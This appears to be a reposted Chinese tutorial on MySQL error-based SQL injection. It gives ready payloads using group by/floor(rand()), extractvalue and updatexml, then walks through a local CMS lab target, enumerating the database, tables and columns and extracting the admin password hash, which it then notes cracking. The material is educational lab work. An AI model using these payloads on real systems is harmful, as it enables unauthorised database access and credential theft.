我的编程空间,编程开发者的网络收藏夹
学习永远不晚

MySQL之报错注入

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

MySQL之报错注入

文章目录

报错注入

​ 在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

​ 报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直 接背公式,将公式带换掉 1=1 的部分。

常用手法

group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x frominformation_schema.tables group by x)a)?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

案例环境

php环境:phpstudy20261103.exe

靶场:cms

领取地址:链接:https://pan.baidu.com/s/1OeEMML4GRCsbC4LpQK9KoA?pwd=jap0
提取码:jap0

获取网站后台管理员账号密码

cms靶场中具有sql注入的地址:http://localhost/cms/cms/show.php?id=33

注意:通过concat()函数拼接的字符串长度只有31位,所以需要借助substr对结果进行截取,然后通过替换截取的下标来获取所有信息

查库

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)或者?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

image-20230823125131453

查表

-- 查询从1到31的字符?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),1,31) from information_schema.tables where table_schema = database()),0x5e))-- 查询从31到61的字符?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(table_name),31,61) from information_schema.tables where table_schema = database()),0x5e))

image-20230823125059304

查字段

?id=33 and extractvalue(1,concat(0x5e,(select substr(GROUP_CONCAT(column_name),1,31) from information_schema.COLUMNS where table_schema = database() and table_name = "cms_users"),0x5e))

image-20230823130952216

查数据(密码)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

1-16位密码

image-20230823131052287

e10adc3949ba59ab

17-32位密码

image-20230823131146698

be56e057f20f883e

拼接密码:e10adc3949ba59abbe56e057f20f883e

cmd5解密:

image-20230823131325785

来源地址:https://blog.csdn.net/weixin_46367450/article/details/132460996

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

MySQL之报错注入

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

sql注入报错之注入原理实例解析

目录前言0x010x020x03总结前言www.cppcns.com我相信很多小伙伴在玩sql注入报错注入时都会有一个疑问,为什么这么写就会报错?曾经我去查询的时候,也没有找到满意的答案,时隔几个月终于找到搞清楚原理,特此记录,也希望后来
2022-06-13

SQL注入--盲注及报错注入

盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales 其实登录处的注入就是
SQL注入--盲注及报错注入
2014-11-30

SQL注入报错注入函数图文详解

目录前言常用报错函数用法详解updateXML()函数实例extractvalue()函数floor()函数exp()函数12种报错注入函数总结前言报错注入的前提是当语句发生错误时,错误信息被输出到前端。其漏洞原因是由于开发人员在开发程序
2022-07-08

sql注入 --显错注入

前提知识数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录:表中的行称为记录单元格:行和列相交的地方称为单元格在数据库里

	sql注入 --显错注入
2021-01-16

sql注入报错怎么解决

今天小编给大家分享一下sql注入报错怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。0x01我们先来看一看现象,我这里
2023-07-02

@Autowired注解注入的xxxMapper报错怎么办

这篇文章主要介绍了@Autowired注解注入的xxxMapper报错怎么办,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。@Autowired注解注入的xxxMapper报错
2023-06-25

SQL报错注入的示例分析

小编给大家分享一下SQL报错注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!SQL报错注入概述通过构造特定的SQL语句,让攻击者想要查询的信息(如数据
2023-06-29

解决springboot启动时minio报错的问题(注入bean时报错)

前言 最近在将原有的单体springboot项目搬迁至springcloud的时候出现了启动项目minio报错的问题。 Error creating bean with name ‘minioClient’ defined in class
2023-08-19

编程热搜

目录